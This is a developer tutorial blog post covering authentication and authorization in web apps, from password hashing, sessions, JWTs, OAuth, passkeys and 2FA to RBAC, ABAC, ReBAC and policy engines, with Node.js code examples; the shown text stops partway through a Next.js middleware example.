DEV Community

Ishaan Pandey
Ishaan Pandey

Posted on • Originally published at ishaaan.hashnode.dev

Authentication & Authorization: The Ultimate Guide

Authentication & Authorization: The Ultimate Guide

Auth is one of those things that every developer deals with but few truly understand end-to-end. You've probably slapped a JWT into localStorage, called it a day, and moved on. No judgment — we've all been there. But auth is the front door to your application, and a weak front door means everything behind it is at risk.

This guide covers everything: from the fundamentals of "who are you?" vs "what can you do?" to the nitty-gritty of token storage, password hashing, and authorization models used by companies like Google and Airbnb. Let's get into it.


Authentication vs Authorization

These two words sound similar and get confused constantly. Here's the simplest way to think about it:

Authentication (AuthN) Authorization (AuthZ)
Question "Who are you?" "What are you allowed to do?"
Analogy Showing your ID at the door Your ID says VIP, so you get backstage access
When At login / on every request After identity is confirmed
Fails with 401 Unauthorized 403 Forbidden
Example Logging in with email + password Admin can delete users, regular users can't
┌──────────────────────────────────────────────────────────┐
│                    Request Lifecycle                       │
│                                                          │
│   User ──> Authentication ──> Authorization ──> Resource │
│            "Who is this?"     "Can they do     "Here's   │
│                                this action?"    the data" │
│                                                          │
│   Failed:  401 Unauthorized   403 Forbidden              │
└──────────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Authentication always comes first. You can't decide what someone is allowed to do until you know who they are.


Authentication Methods: The Full Landscape

1. Username/Password (The Classic)

The oldest method in the book. User provides credentials, server verifies them against stored hashes.

The critical rule: NEVER store passwords in plaintext. NEVER use MD5 or SHA for passwords.

Why not MD5/SHA? They're designed to be fast. That's great for checksums but terrible for passwords — an attacker can try billions of hashes per second.

Password Hashing Algorithms (Use These)

Algorithm Status Notes
bcrypt Recommended Battle-tested, built-in salt, configurable cost factor
argon2 Best (if available) Winner of Password Hashing Competition (2015), memory-hard
scrypt Good Memory-hard, used by some crypto systems
PBKDF2 Acceptable NIST approved, but less resistant to GPU attacks
MD5 NEVER Fast, broken, no salt by default
SHA-256 NEVER (for passwords) Fast, not designed for password hashing
// bcrypt — the most common choice
const bcrypt = require('bcrypt');

// Hashing a password (on registration)
async function hashPassword(plaintext) {
  const saltRounds = 12; // Cost factor — 12 is a good default in 2026
  return await bcrypt.hash(plaintext, saltRounds);
}

// Verifying a password (on login)
async function verifyPassword(plaintext, hash) {
  return await bcrypt.compare(plaintext, hash);
}

// Usage
const hash = await hashPassword('mySecureP@ssw0rd');
// "$2b$12$LJ3m4ys3Lk0TSwHiPjVIBuPEhE1Nw8bFOn3jGKmEHN2GOJlnMGKi"

const isValid = await verifyPassword('mySecureP@ssw0rd', hash);
// true
Enter fullscreen mode Exit fullscreen mode
// argon2 — the modern choice
const argon2 = require('argon2');

async function hashPassword(plaintext) {
  return await argon2.hash(plaintext, {
    type: argon2.argon2id,  // Hybrid mode (recommended)
    memoryCost: 65536,      // 64 MB
    timeCost: 3,            // 3 iterations
    parallelism: 4          // 4 threads
  });
}

async function verifyPassword(plaintext, hash) {
  return await argon2.verify(hash, plaintext);
}
Enter fullscreen mode Exit fullscreen mode

Salting, Peppering, and Why They Matter

Password: "hunter2"

Without salt:
  hash("hunter2") = "ab4f63f9ac...always the same"
  Two users with "hunter2" have identical hashes (bad!)

With salt (random per user):
  hash("hunter2" + "x7Km9pQ2") = "8f14e45f..."
  hash("hunter2" + "aB3nR8wL") = "2c6ee24b..."
  Same password, different hashes (good!)

With pepper (secret key, same for all users, stored separately):
  hash("hunter2" + "x7Km9pQ2" + SERVER_PEPPER) = "9a1f3c7e..."
  Even if DB is leaked, attacker needs the pepper too
Enter fullscreen mode Exit fullscreen mode

bcrypt and argon2 handle salting automatically. You only need to worry about peppering if you want an extra layer (store the pepper in an environment variable or secrets manager, not in the database).


2. Session-Based Authentication

The traditional approach: server creates a session after login and stores it server-side. The client gets a session ID cookie.

┌────────┐                              ┌────────┐
│ Client │                              │ Server │
└───┬────┘                              └───┬────┘
    │                                       │
    │  1. POST /login {email, password}     │
    │ ─────────────────────────────────────>│
    │                                       │  2. Validate credentials
    │                                       │  3. Create session in store
    │                                       │     (Redis/DB/memory)
    │                                       │     session_id -> {user_id, role, ...}
    │  4. Set-Cookie: sid=abc123; HttpOnly  │
    │ <─────────────────────────────────────│
    │                                       │
    │  5. GET /api/profile                  │
    │     Cookie: sid=abc123                │
    │ ─────────────────────────────────────>│
    │                                       │  6. Lookup session "abc123"
    │                                       │  7. Found: user_id=42
    │  8. {name: "Alice", email: "..."}    │
    │ <─────────────────────────────────────│
    │                                       │
    │  9. POST /logout                      │
    │ ─────────────────────────────────────>│
    │                                       │  10. Delete session "abc123"
    │  11. Set-Cookie: sid=; Max-Age=0     │
    │ <─────────────────────────────────────│
Enter fullscreen mode Exit fullscreen mode
// Express session-based auth
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const { createClient } = require('redis');

const app = express();
const redisClient = createClient({ url: 'redis://localhost:6379' });
redisClient.connect();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,        // HTTPS only
    httpOnly: true,      // Not accessible via JavaScript
    sameSite: 'lax',     // CSRF protection
    maxAge: 24 * 60 * 60 * 1000 // 24 hours
  }
}));

// Login
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await db.users.findByEmail(email);

  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Create session
  req.session.userId = user.id;
  req.session.role = user.role;

  res.json({ user: { id: user.id, email: user.email, role: user.role } });
});

// Auth middleware
function requireAuth(req, res, next) {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
  }
  next();
}

// Protected route
app.get('/api/profile', requireAuth, async (req, res) => {
  const user = await db.users.findById(req.session.userId);
  res.json(user);
});

// Logout
app.post('/logout', (req, res) => {
  req.session.destroy((err) => {
    if (err) return res.status(500).json({ error: 'Logout failed' });
    res.clearCookie('connect.sid');
    res.json({ message: 'Logged out' });
  });
});
Enter fullscreen mode Exit fullscreen mode

3. Token-Based Authentication (JWT)

Instead of storing sessions server-side, the server issues a signed token that the client stores and sends with every request. The server verifies the token's signature without needing a database lookup.

┌────────┐                              ┌────────┐
│ Client │                              │ Server │
└───┬────┘                              └───┬────┘
    │                                       │
    │  1. POST /login {email, password}     │
    │ ─────────────────────────────────────>│
    │                                       │  2. Validate credentials
    │                                       │  3. Create JWT:
    │                                       │     header.payload.signature
    │  4. { accessToken, refreshToken }     │
    │ <─────────────────────────────────────│
    │                                       │
    │  5. GET /api/profile                  │
    │     Authorization: Bearer <JWT>       │
    │ ─────────────────────────────────────>│
    │                                       │  6. Verify JWT signature
    │                                       │  7. Decode payload: {sub: 42}
    │  8. {name: "Alice", ...}             │
    │ <─────────────────────────────────────│
    │                                       │
    │  --- Access token expires ---         │
    │                                       │
    │  9. POST /refresh {refreshToken}      │
    │ ─────────────────────────────────────>│
    │                                       │  10. Validate refresh token
    │                                       │  11. Issue new access token
    │  12. { newAccessToken }               │
    │ <─────────────────────────────────────│
Enter fullscreen mode Exit fullscreen mode

Anatomy of a JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    <-- Header (base64)
eyJzdWIiOiI0MiIsInJvbGUiOiJhZG1pbiIsIm    <-- Payload (base64)
lhdCI6MTcwOTEyNjAwMCwiZXhwIjoxNzA5MTI5
NjAwfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ    <-- Signature
ssw5c

Decoded Header:
{
  "alg": "HS256",    // Signing algorithm
  "typ": "JWT"       // Token type
}

Decoded Payload:
{
  "sub": "42",       // Subject (user ID)
  "role": "admin",   // Custom claim
  "iat": 1709126000, // Issued at
  "exp": 1709129600  // Expires at (1 hour later)
}

Signature:
HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)
Enter fullscreen mode Exit fullscreen mode

The payload is NOT encrypted — it's just base64-encoded. Anyone can read it. The signature only proves it hasn't been tampered with.

Implementation with Access + Refresh Tokens

const jwt = require('jsonwebtoken');

const ACCESS_SECRET = process.env.JWT_ACCESS_SECRET;
const REFRESH_SECRET = process.env.JWT_REFRESH_SECRET;
const ACCESS_EXPIRY = '15m';    // Short-lived
const REFRESH_EXPIRY = '7d';    // Long-lived

// Generate token pair
function generateTokens(user) {
  const accessToken = jwt.sign(
    { sub: user.id, role: user.role },
    ACCESS_SECRET,
    { expiresIn: ACCESS_EXPIRY }
  );

  const refreshToken = jwt.sign(
    { sub: user.id, tokenVersion: user.tokenVersion },
    REFRESH_SECRET,
    { expiresIn: REFRESH_EXPIRY }
  );

  return { accessToken, refreshToken };
}

// Verify access token middleware
function authenticateToken(req, res, next) {
  const authHeader = req.headers.authorization;
  const token = authHeader?.startsWith('Bearer ')
    ? authHeader.slice(7)
    : null;

  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }

  try {
    const payload = jwt.verify(token, ACCESS_SECRET);
    req.user = { id: payload.sub, role: payload.role };
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token expired', code: 'TOKEN_EXPIRED' });
    }
    return res.status(401).json({ error: 'Invalid token' });
  }
}

// Refresh endpoint
app.post('/auth/refresh', async (req, res) => {
  const { refreshToken } = req.body;
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });

  try {
    const payload = jwt.verify(refreshToken, REFRESH_SECRET);
    const user = await db.users.findById(payload.sub);

    // Check token version (for revocation)
    if (!user || user.tokenVersion !== payload.tokenVersion) {
      return res.status(401).json({ error: 'Token revoked' });
    }

    // Issue new tokens (token rotation)
    const tokens = generateTokens(user);

    // Optionally: increment tokenVersion to invalidate old refresh token
    // This is "refresh token rotation" — each refresh token is single-use
    await db.users.update(user.id, {
      tokenVersion: user.tokenVersion + 1
    });

    res.json(tokens);
  } catch (err) {
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
});

// Login
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await db.users.findByEmail(email);

  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  const tokens = generateTokens(user);

  // Set refresh token as httpOnly cookie
  res.cookie('refreshToken', tokens.refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000,
    path: '/auth/refresh' // Only sent to refresh endpoint
  });

  res.json({ accessToken: tokens.accessToken });
});
Enter fullscreen mode Exit fullscreen mode

Refresh Token Rotation

A security best practice: every time a refresh token is used, issue a new one and invalidate the old one. If an attacker steals a refresh token and uses it, the legitimate user's next refresh will fail (because the token version changed), alerting you to the breach.

Normal flow:
  RT-v1 --> new AT + RT-v2
  RT-v2 --> new AT + RT-v3
  RT-v3 --> new AT + RT-v4

Attack detected:
  Attacker steals RT-v2
  Legit user uses RT-v2 --> new AT + RT-v3 (v2 invalidated)
  Attacker tries RT-v2 --> REJECTED (version mismatch)
  Flag the account for potential compromise
Enter fullscreen mode Exit fullscreen mode

4. OAuth 2.0 / Social Login

OAuth 2.0 lets users log in via third-party providers (Google, GitHub, etc.) without sharing their password with your app.

┌────────┐         ┌──────────┐         ┌──────────────┐
│  User  │         │ Your App │         │ Google/GitHub │
└───┬────┘         └────┬─────┘         └──────┬───────┘
    │                   │                       │
    │ 1. "Login with    │                       │
    │     Google"       │                       │
    │ ────────────────> │                       │
    │                   │ 2. Redirect to Google │
    │                   │     with client_id,   │
    │                   │     redirect_uri,     │
    │ <──────────────── │     scope             │
    │ 3. Redirect       │                       │
    │                   │                       │
    │ 4. User logs in   │                       │
    │    at Google,     │                       │
    │    grants consent │                       │
    │ ─────────────────────────────────────────>│
    │                   │                       │
    │ 5. Redirect back  │                       │
    │    with auth code │                       │
    │ ────────────────> │                       │
    │                   │ 6. Exchange code for  │
    │                   │    tokens (server-    │
    │                   │    to-server)         │
    │                   │ ─────────────────────>│
    │                   │                       │
    │                   │ 7. Access token +     │
    │                   │    user info          │
    │                   │ <─────────────────────│
    │                   │                       │
    │ 8. Session/JWT    │ 9. Create/find user   │
    │    created        │    in your DB         │
    │ <──────────────── │                       │
Enter fullscreen mode Exit fullscreen mode

Key points:

  • The authorization code exchange (step 6) happens server-to-server — the user never sees your client secret
  • You get an access token for the provider's API (e.g., Google's), not for your own API
  • You still need to create your own session or JWT for your app after OAuth completes

5. Magic Links / Passwordless

No password at all. The user enters their email, gets a link, clicks it, and they're in.

const crypto = require('crypto');

// Generate magic link
app.post('/auth/magic-link', async (req, res) => {
  const { email } = req.body;
  const user = await db.users.findByEmail(email);

  if (!user) {
    // Don't reveal whether email exists — always show success
    return res.json({ message: 'If that email exists, we sent a link.' });
  }

  // Generate a secure random token
  const token = crypto.randomBytes(32).toString('hex');
  const expiresAt = new Date(Date.now() + 15 * 60 * 1000); // 15 minutes

  await db.magicLinks.create({
    userId: user.id,
    token: await bcrypt.hash(token, 10), // Hash the token in DB
    expiresAt,
    used: false
  });

  const link = `https://yourapp.com/auth/verify?token=${token}&email=${email}`;
  await sendEmail(email, 'Your login link', `Click here to log in: ${link}`);

  res.json({ message: 'If that email exists, we sent a link.' });
});

// Verify magic link
app.get('/auth/verify', async (req, res) => {
  const { token, email } = req.query;
  const user = await db.users.findByEmail(email);
  if (!user) return res.status(401).json({ error: 'Invalid link' });

  const magicLink = await db.magicLinks.findLatestForUser(user.id);
  if (!magicLink || magicLink.used || magicLink.expiresAt < new Date()) {
    return res.status(401).json({ error: 'Link expired or already used' });
  }

  const isValid = await bcrypt.compare(token, magicLink.token);
  if (!isValid) return res.status(401).json({ error: 'Invalid link' });

  // Mark as used
  await db.magicLinks.update(magicLink.id, { used: true });

  // Create session or JWT
  const tokens = generateTokens(user);
  res.json(tokens);
});
Enter fullscreen mode Exit fullscreen mode

Pros: No passwords to manage, phishing-resistant (sort of), great UX
Cons: Relies on email security, slow (waiting for email), can't work offline


6. Passkeys / WebAuthn (The Future)

Passkeys use public-key cryptography. The user's device stores a private key; the server stores the public key. Authentication happens via biometrics (fingerprint, Face ID) or a device PIN. No passwords involved.

Registration:
  Device generates key pair
  Private key stays on device (never leaves)
  Public key sent to server and stored

Authentication:
  Server sends a challenge (random bytes)
  Device signs challenge with private key (after biometric verification)
  Server verifies signature with stored public key
  If valid, user is authenticated
Enter fullscreen mode Exit fullscreen mode
// Server-side (using @simplewebauthn/server)
const {
  generateRegistrationOptions,
  verifyRegistrationResponse,
  generateAuthenticationOptions,
  verifyAuthenticationResponse
} = require('@simplewebauthn/server');

const rpName = 'Your App';
const rpID = 'yourapp.com';
const origin = 'https://yourapp.com';

// Registration: Step 1 — Generate options
app.post('/auth/passkey/register/options', requireAuth, async (req, res) => {
  const user = await db.users.findById(req.user.id);
  const existingCredentials = await db.credentials.findByUserId(user.id);

  const options = await generateRegistrationOptions({
    rpName,
    rpID,
    userID: user.id,
    userName: user.email,
    attestationType: 'none',
    excludeCredentials: existingCredentials.map(cred => ({
      id: cred.credentialId,
      type: 'public-key'
    })),
    authenticatorSelection: {
      residentKey: 'preferred',
      userVerification: 'preferred'
    }
  });

  // Store challenge for verification
  await db.challenges.store(user.id, options.challenge);
  res.json(options);
});

// Registration: Step 2 — Verify response
app.post('/auth/passkey/register/verify', requireAuth, async (req, res) => {
  const user = await db.users.findById(req.user.id);
  const expectedChallenge = await db.challenges.get(user.id);

  const verification = await verifyRegistrationResponse({
    response: req.body,
    expectedChallenge,
    expectedOrigin: origin,
    expectedRPID: rpID
  });

  if (verification.verified) {
    await db.credentials.create({
      userId: user.id,
      credentialId: verification.registrationInfo.credentialID,
      publicKey: verification.registrationInfo.credentialPublicKey,
      counter: verification.registrationInfo.counter
    });
    res.json({ verified: true });
  } else {
    res.status(400).json({ error: 'Verification failed' });
  }
});
Enter fullscreen mode Exit fullscreen mode

Passkeys are supported by Apple, Google, and Microsoft. They sync across devices (iCloud Keychain, Google Password Manager). This is genuinely the future of authentication — phishing-proof, no passwords to leak, and the UX is just "tap your fingerprint."


7. API Keys

Simple tokens for machine-to-machine or developer API access. Not for end-user authentication.

// Generating an API key
function generateAPIKey() {
  const prefix = 'sk_live_'; // Helps identify the key type
  const key = crypto.randomBytes(32).toString('hex');
  return prefix + key;
  // "sk_live_a1b2c3d4e5f6..."
}

// Store the HASH, not the raw key
async function createAPIKey(userId, name) {
  const rawKey = generateAPIKey();
  const hashedKey = await bcrypt.hash(rawKey, 10);

  await db.apiKeys.create({
    userId,
    name,
    keyHash: hashedKey,
    prefix: rawKey.slice(0, 12), // Store prefix for identification
    createdAt: new Date()
  });

  // Return raw key ONCE — it can never be retrieved again
  return rawKey;
}

// Middleware to verify API key
async function authenticateAPIKey(req, res, next) {
  const key = req.headers['x-api-key'] || req.headers.authorization?.replace('Bearer ', '');
  if (!key) return res.status(401).json({ error: 'API key required' });

  // Find by prefix for efficiency (avoids checking every key)
  const prefix = key.slice(0, 12);
  const candidates = await db.apiKeys.findByPrefix(prefix);

  for (const candidate of candidates) {
    if (await bcrypt.compare(key, candidate.keyHash)) {
      req.apiKey = candidate;
      req.user = await db.users.findById(candidate.userId);
      return next();
    }
  }

  return res.status(401).json({ error: 'Invalid API key' });
}
Enter fullscreen mode Exit fullscreen mode

8. mTLS (Mutual TLS)

Standard TLS: the client verifies the server's certificate. Mutual TLS: both sides verify each other. Used for service-to-service communication in microservices.

Normal TLS:
  Client ──> "Show me your certificate" ──> Server
  Client <── Server's certificate          <── Server
  Client verifies server. Done.

Mutual TLS:
  Client ──> "Show me your certificate" ──> Server
  Client <── Server's certificate          <── Server
  Client verifies server.
  Server ──> "Now show ME yours"         ──> Client
  Server <── Client's certificate          <── Client
  Server verifies client. Both verified.
Enter fullscreen mode Exit fullscreen mode
# Nginx mTLS configuration
server {
    listen 443 ssl;

    # Server's certificate
    ssl_certificate /etc/ssl/server.crt;
    ssl_certificate_key /etc/ssl/server.key;

    # Require client certificate
    ssl_client_certificate /etc/ssl/ca.crt;  # CA that signed client certs
    ssl_verify_client on;

    location /internal-api/ {
        # Pass client cert info to backend
        proxy_set_header X-Client-DN $ssl_client_s_dn;
        proxy_set_header X-Client-Verified $ssl_client_verify;
        proxy_pass http://backend;
    }
}
Enter fullscreen mode Exit fullscreen mode

9. MFA / 2FA

Something you know (password) + something you have (phone/key) + something you are (biometric).

TOTP (Time-based One-Time Password) is the most common second factor:

const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// Enable 2FA: Step 1 — Generate secret
app.post('/auth/2fa/setup', requireAuth, async (req, res) => {
  const secret = speakeasy.generateSecret({
    name: `YourApp (${req.user.email})`,
    issuer: 'YourApp'
  });

  // Store secret temporarily (not yet verified)
  await db.users.update(req.user.id, {
    tempTotpSecret: secret.base32
  });

  // Generate QR code for authenticator app
  const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);

  res.json({
    secret: secret.base32,   // Backup code for manual entry
    qrCode: qrCodeUrl        // For scanning with Google Authenticator, etc.
  });
});

// Enable 2FA: Step 2 — Verify and activate
app.post('/auth/2fa/verify', requireAuth, async (req, res) => {
  const { code } = req.body;
  const user = await db.users.findById(req.user.id);

  const isValid = speakeasy.totp.verify({
    secret: user.tempTotpSecret,
    encoding: 'base32',
    token: code,
    window: 1  // Allow 1 step before/after (30-second window)
  });

  if (isValid) {
    // Generate backup codes
    const backupCodes = Array.from({ length: 10 }, () =>
      crypto.randomBytes(4).toString('hex')
    );

    await db.users.update(req.user.id, {
      totpSecret: user.tempTotpSecret,
      tempTotpSecret: null,
      twoFactorEnabled: true,
      backupCodes: await Promise.all(
        backupCodes.map(code => bcrypt.hash(code, 10))
      )
    });

    res.json({
      enabled: true,
      backupCodes  // Show ONCE — user must save these
    });
  } else {
    res.status(400).json({ error: 'Invalid code' });
  }
});
Enter fullscreen mode Exit fullscreen mode

Second factor comparison:

Method Security UX Notes
TOTP (authenticator app) High Medium Google Authenticator, Authy — offline capable
SMS Low-Medium Easy Vulnerable to SIM swapping, but better than nothing
Push notification High Great Duo, Auth0 Guardian — one tap to approve
Hardware key (YubiKey) Very high Medium Phishing-proof, but costs money
Passkey Very high Great If adopted, replaces both password and 2FA

Sessions vs JWTs: The Great Debate

This is one of the most debated topics in web development. Here's an honest comparison.

Aspect Sessions JWTs
State Stateful (server stores session) Stateless (token contains everything)
Storage Server: Redis/DB. Client: cookie with session ID Server: nothing. Client: cookie or header
Scalability Need shared session store across servers No server-side state — any server can verify
Revocation Easy — delete the session from the store Hard — token valid until expiry (unless you add a blocklist)
Size Cookie: ~20 bytes (just the ID) Cookie/header: 800+ bytes (full token)
Security Session ID is opaque (no data exposure) Payload is readable (base64, not encrypted)
Mobile/SPA Works with cookies Works with any HTTP client
Microservices Every service needs session store access Any service can verify independently

When to Use Sessions

  • Traditional server-rendered web apps
  • When you need instant revocation (ban a user, they're out immediately)
  • When you want simplicity and don't need cross-service auth
  • When the added infrastructure (Redis) is not a concern

When to Use JWTs

  • SPAs or mobile apps that talk to APIs
  • Microservices architecture (each service verifies independently)
  • When you need to pass user info between services without a shared DB
  • Serverless (no persistent server to store sessions)

The Pragmatic Answer

For most apps? Use httpOnly cookie sessions with Redis. It's simpler, more secure by default, and you get instant revocation. JWTs are great when you genuinely need stateless auth or cross-service authentication, but they come with complexity (refresh tokens, rotation, revocation strategies) that sessions handle naturally.

If you DO use JWTs, use short-lived access tokens (15 minutes) with refresh token rotation, and store the refresh token in an httpOnly cookie.


Authorization Patterns

Once you know WHO the user is, you need to decide what they can DO.

RBAC (Role-Based Access Control)

The most common pattern. Users are assigned roles; roles have permissions.

┌──────────┐    ┌──────────┐    ┌──────────────────┐
│  Users   │───>│  Roles   │───>│  Permissions     │
├──────────┤    ├──────────┤    ├──────────────────┤
│ Alice    │    │ admin    │    │ users:read       │
│ Bob      │    │ editor   │    │ users:write      │
│ Charlie  │    │ viewer   │    │ users:delete     │
│          │    │          │    │ posts:read       │
│          │    │          │    │ posts:write      │
│          │    │          │    │ posts:delete     │
│          │    │          │    │ settings:manage  │
└──────────┘    └──────────┘    └──────────────────┘

Alice   -> admin  -> [all permissions]
Bob     -> editor -> [posts:read, posts:write, users:read]
Charlie -> viewer -> [posts:read, users:read]
Enter fullscreen mode Exit fullscreen mode
// RBAC implementation
const ROLES = {
  admin: {
    permissions: ['users:read', 'users:write', 'users:delete',
                  'posts:read', 'posts:write', 'posts:delete',
                  'settings:manage']
  },
  editor: {
    permissions: ['posts:read', 'posts:write', 'posts:delete', 'users:read']
  },
  viewer: {
    permissions: ['posts:read', 'users:read']
  }
};

// Authorization middleware
function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    const userRole = req.user.role;
    const role = ROLES[userRole];

    if (!role) {
      return res.status(403).json({ error: 'Unknown role' });
    }

    const hasAll = requiredPermissions.every(
      perm => role.permissions.includes(perm)
    );

    if (!hasAll) {
      return res.status(403).json({
        error: 'Insufficient permissions',
        required: requiredPermissions,
        your_role: userRole
      });
    }

    next();
  };
}

// Usage
app.delete('/api/users/:id',
  authenticateToken,
  requirePermission('users:delete'),
  async (req, res) => {
    await db.users.delete(req.params.id);
    res.json({ deleted: true });
  }
);

app.get('/api/posts',
  authenticateToken,
  requirePermission('posts:read'),
  async (req, res) => {
    const posts = await db.posts.findAll();
    res.json(posts);
  }
);
Enter fullscreen mode Exit fullscreen mode

ABAC (Attribute-Based Access Control)

More flexible than RBAC. Decisions based on attributes of the user, resource, action, and environment.

// ABAC policy engine (simplified)
const policies = [
  {
    name: 'doctors-view-own-patients',
    effect: 'allow',
    condition: (ctx) =>
      ctx.user.role === 'doctor' &&
      ctx.resource.type === 'patient_record' &&
      ctx.resource.assignedDoctorId === ctx.user.id &&
      ctx.action === 'read'
  },
  {
    name: 'edit-during-business-hours',
    effect: 'allow',
    condition: (ctx) => {
      const hour = new Date().getHours();
      return ctx.action === 'write' &&
             ctx.user.department === ctx.resource.department &&
             hour >= 9 && hour <= 17;
    }
  },
  {
    name: 'admin-override',
    effect: 'allow',
    condition: (ctx) => ctx.user.role === 'admin'
  }
];

function evaluate(context) {
  for (const policy of policies) {
    if (policy.condition(context)) {
      return policy.effect === 'allow';
    }
  }
  return false; // Default deny
}

// Usage
const allowed = evaluate({
  user: { id: 42, role: 'doctor', department: 'cardiology' },
  resource: { type: 'patient_record', assignedDoctorId: 42, department: 'cardiology' },
  action: 'read',
  environment: { time: new Date(), ip: '10.0.0.5' }
});
Enter fullscreen mode Exit fullscreen mode

ReBAC (Relationship-Based Access Control)

Made famous by Google Zanzibar (the system behind Google Drive, Docs, etc.). Authorization is based on relationships between entities.

Concept:
  "User X has relationship Y with object Z"

Examples:
  "Alice is an owner of document:report.pdf"
  "Bob is a member of team:engineering"
  "team:engineering is a viewer of folder:designs"
  (Therefore Bob can view folder:designs — inherited!)

Relationship tuples:
  ┌────────────────────────────────────────────────┐
  │ user          │ relation │ object              │
  ├───────────────┼──────────┼─────────────────────┤
  │ user:alice    │ owner    │ doc:report.pdf      │
  │ user:bob      │ member   │ team:engineering    │
  │ team:engineering│ viewer  │ folder:designs      │
  │ user:charlie  │ editor   │ doc:budget.xlsx     │
  └────────────────────────────────────────────────┘

Query: "Can bob view folder:designs?"
  1. Is bob a viewer of folder:designs? No.
  2. Is bob a member of any group that is a viewer?
     bob -> member -> team:engineering -> viewer -> folder:designs
     Yes! Allowed.
Enter fullscreen mode Exit fullscreen mode

Open-source implementations: OpenFGA (by Auth0/Okta), SpiceDB (by Authzed), Keto (by Ory).

ACLs (Access Control Lists)

The oldest pattern. Each resource has a list of who can do what.

// ACL attached to a resource
const document = {
  id: 'doc-123',
  title: 'Q4 Report',
  acl: [
    { userId: 'alice', permissions: ['read', 'write', 'delete', 'share'] },
    { userId: 'bob', permissions: ['read', 'write'] },
    { userId: 'charlie', permissions: ['read'] },
    { groupId: 'team-finance', permissions: ['read'] }
  ]
};

function checkACL(resource, userId, action) {
  const entry = resource.acl.find(e => e.userId === userId);
  return entry?.permissions.includes(action) || false;
}
Enter fullscreen mode Exit fullscreen mode

Simple, but doesn't scale well. If you have millions of documents, managing ACLs per document becomes a nightmare.

Policy Engines (OPA, Cedar)

For complex authorization logic, externalize it to a dedicated policy engine.

OPA (Open Policy Agent) uses Rego (a declarative policy language):

# policy.rego
package authz

default allow = false

# Admins can do anything
allow {
    input.user.role == "admin"
}

# Users can read their own profile
allow {
    input.action == "read"
    input.resource.type == "profile"
    input.resource.owner == input.user.id
}

# Managers can read profiles of their reports
allow {
    input.action == "read"
    input.resource.type == "profile"
    input.resource.owner == data.reports[input.user.id][_]
}
Enter fullscreen mode Exit fullscreen mode

Cedar (by AWS, used in Amazon Verified Permissions):

// Cedar policy
permit(
  principal in Role::"editor",
  action in [Action::"read", Action::"write"],
  resource in Folder::"documents"
) when {
  resource.classification != "top-secret"
};
Enter fullscreen mode Exit fullscreen mode

Authorization Pattern Comparison

Pattern Complexity Flexibility Best For
RBAC Low Medium Most web apps, SaaS with clear roles
ABAC Medium High Healthcare, finance, context-dependent access
ReBAC High Very high Document sharing, social networks, Google-scale
ACL Low Low File systems, simple per-resource access
Policy Engine High Very high Microservices, complex compliance requirements

Implementation Patterns

Auth Middleware in Express/Node.js

A complete middleware stack:

// middleware/auth.js
const jwt = require('jsonwebtoken');

// Layer 1: Extract and verify identity
function authenticate(req, res, next) {
  // Check cookie first, then Authorization header
  const token = req.cookies?.accessToken ||
    req.headers.authorization?.replace('Bearer ', '');

  if (!token) {
    req.user = null;
    return next(); // Continue as anonymous (let authorize handle it)
  }

  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET);
    req.user = {
      id: payload.sub,
      email: payload.email,
      role: payload.role,
      permissions: payload.permissions || []
    };
  } catch (err) {
    req.user = null;
  }
  next();
}

// Layer 2: Require authentication
function requireAuth(req, res, next) {
  if (!req.user) {
    return res.status(401).json({ error: 'Authentication required' });
  }
  next();
}

// Layer 3: Require specific role(s)
function requireRole(...roles) {
  return [requireAuth, (req, res, next) => {
    if (!roles.includes(req.user.role)) {
      return res.status(403).json({ error: 'Insufficient role' });
    }
    next();
  }];
}

// Layer 4: Require specific permission(s)
function requirePermission(...perms) {
  return [requireAuth, (req, res, next) => {
    const hasAll = perms.every(p => req.user.permissions.includes(p));
    if (!hasAll) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }
    next();
  }];
}

// Layer 5: Resource ownership check
function requireOwnership(getResourceOwnerId) {
  return [requireAuth, async (req, res, next) => {
    const ownerId = await getResourceOwnerId(req);
    if (ownerId !== req.user.id && req.user.role !== 'admin') {
      return res.status(403).json({ error: 'Not your resource' });
    }
    next();
  }];
}

module.exports = { authenticate, requireAuth, requireRole,
                   requirePermission, requireOwnership };
Enter fullscreen mode Exit fullscreen mode
// routes.js — Usage
const { authenticate, requireAuth, requireRole,
        requirePermission, requireOwnership } = require('./middleware/auth');

const app = express();
app.use(authenticate); // Run on every request

// Public route — no auth needed
app.get('/api/posts', async (req, res) => { /* ... */ });

// Authenticated route — any logged-in user
app.get('/api/profile', requireAuth, async (req, res) => { /* ... */ });

// Role-restricted
app.get('/api/admin/users', ...requireRole('admin'), async (req, res) => { /* ... */ });

// Permission-restricted
app.delete('/api/posts/:id', ...requirePermission('posts:delete'),
  async (req, res) => { /* ... */ });

// Ownership check
app.put('/api/posts/:id',
  ...requireOwnership(async (req) => {
    const post = await db.posts.findById(req.params.id);
    return post?.authorId;
  }),
  async (req, res) => { /* ... */ }
);
Enter fullscreen mode Exit fullscreen mode

Auth in Next.js

Next.js has multiple layers where you can enforce auth.

Middleware (Edge Runtime) — runs before every request:

// middleware.ts (in project root)
import { NextRequest, NextResponse } from 'next/server';
import { jwtVerify } from 'jose';

const PUBLIC_PATHS = ['/login', '/signup', '/api/auth'];
